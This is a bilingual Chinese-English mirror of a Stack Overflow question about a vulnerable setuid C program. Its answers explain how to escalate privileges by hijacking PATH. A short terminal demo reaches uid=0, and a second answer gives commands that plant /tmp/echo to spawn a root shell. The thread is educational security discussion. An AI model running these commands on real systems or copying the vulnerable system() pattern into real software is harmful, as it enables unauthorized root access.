Linux 这个 C 代码有什么漏洞?
声明:本页面是StackOverFlow热门问题的中英对照翻译,遵循CC BY-SA 4.0协议,如果您需要使用它,必须同样遵循CC BY-SA许可,注明原文地址和作者信息,同时你必须将它归于原作者(不是我):StackOverFlow
原文地址: http://stackoverflow.com/questions/8304396/
Warning: these are provided under cc-by-sa 4.0 license. You are free to use/share it, But you must attribute it to the original authors (not me):
StackOverFlow
What is vulnerable about this C code?
提问by quantumdisaster
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
int main(int argc, char **argv, char **envp)
{
gid_t gid;
uid_t uid;
gid = getegid();
uid = geteuid();
setresgid(gid, gid, gid);
setresuid(uid, uid, uid);
system("/usr/bin/env echo and now what?");
}
The way I understand it, the code above allows arbitrary code (or program) execution — what makes this vulnerable, and how does one take advantage of this?
按照我的理解,上面的代码允许执行任意代码(或程序)——是什么让它容易受到攻击,人们如何利用这一点?
采纳答案by Adam Zalcman
You can override the PATH
variable to point to a directory with your custom version of echo
and since echo
is executed using env
, it isn't treated as a built-in.
您可以覆盖该PATH
变量以指向具有自定义版本的目录,echo
并且由于echo
使用 执行env
,因此不会将其视为内置变量。
This constitues a vulnerability only if the code is run as privileged user.
仅当代码以特权用户身份运行时,这才构成漏洞。
In the example below file v.c contains the code from the question.
在下面的示例中,文件 vc 包含问题中的代码。
$ cat echo.c
#include <stdio.h>
#include <unistd.h>
int main() {
printf("Code run as uid=%d\n", getuid());
}
$ cc -o echo echo.c
$ cc -o v v.c
$ sudo chown root v
$ sudo chmod +s v
$ ls -l
total 64
-rwxr-xr-x 1 user group 8752 Nov 29 01:55 echo
-rw-r--r-- 1 user group 99 Nov 29 01:54 echo.c
-rwsr-sr-x 1 root group 8896 Nov 29 01:55 v
-rw-r--r-- 1 user group 279 Nov 29 01:55 v.c
$ ./v
and now what?
$ export PATH=.:$PATH
$ ./v
Code run as uid=0
$
Note that the setting of real user ID, effective user ID and saved set-user-ID by a call to setresuid()
before the call to system()
in the vulnerable code posted in the question allows one to exploit the vulnerability even when only effective user ID is set to a privileged user ID and real user ID remains unprivileged (as is for example the case when relying on set-user-ID bit on a file as above). Without the call to setresuid()
the shell run by system()
would reset the effective user ID back to the real user ID making the exploit ineffective. However, in the case when the vulnerable code is run with real user ID of a privileged user, system()
call alone is enough. Quoting sh
man page:
请注意,通过在问题中发布的易受攻击代码中调用 tosetresuid()
之前调用 to 来设置真实用户 ID、有效用户 ID 和保存的 set-user-IDsystem()
允许人们利用该漏洞,即使仅将有效用户 ID 设置为特权用户 ID 和真实用户 ID 保持非特权状态(例如,依赖上述文件上的 set-user-ID 位时就是这种情况)。如果不调用setresuid()
shell run bysystem()
会将有效用户 ID 重置为真实用户 ID,从而使漏洞利用无效。但是,如果漏洞代码使用特权用户的真实用户 ID 运行,则system()
仅调用就足够了。引用sh
手册页:
If the shell is started with the effective user (group) id not equal to the real user (group) id, and the -p option is not supplied, no startup files are read, shell functions are not inherited from the environment, the SHELLOPTS variable, if it appears in the environment, is ignored, and the effective user id is set to the real user id. If the -p option is supplied at invocation, the startup behavior is the same, but the effective user id is not reset.
如果 shell 以不等于实际用户(组)id 的有效用户(组)id 启动,并且未提供 -p 选项,则不读取启动文件,不从环境继承 shell 功能,SHELLOPTS变量,如果它出现在环境中,将被忽略,并将有效用户 ID 设置为真实用户 ID。如果在调用时提供 -p 选项,则启动行为相同,但不会重置有效用户 ID。
Also, note that setresuid()
isn't portable, but setuid()
or setreuid()
may also be used to the same effect.
另外,还要注意setresuid()
不便携,但是setuid()
或setreuid()
也可用于同样的效果。
回答by Black Mrx
well actually on the system function call you can mess with the echo
command.
for example if you execute the following code :
实际上,在系统函数调用中,您可能会弄乱echo
命令。例如,如果您执行以下代码:
echo "/bin/bash" > /tmp/echo
chmod 777 /tmp/echo && export PATH=/tmp:$PATH
you will get a shell with the file owner permission
您将获得具有文件所有者权限的外壳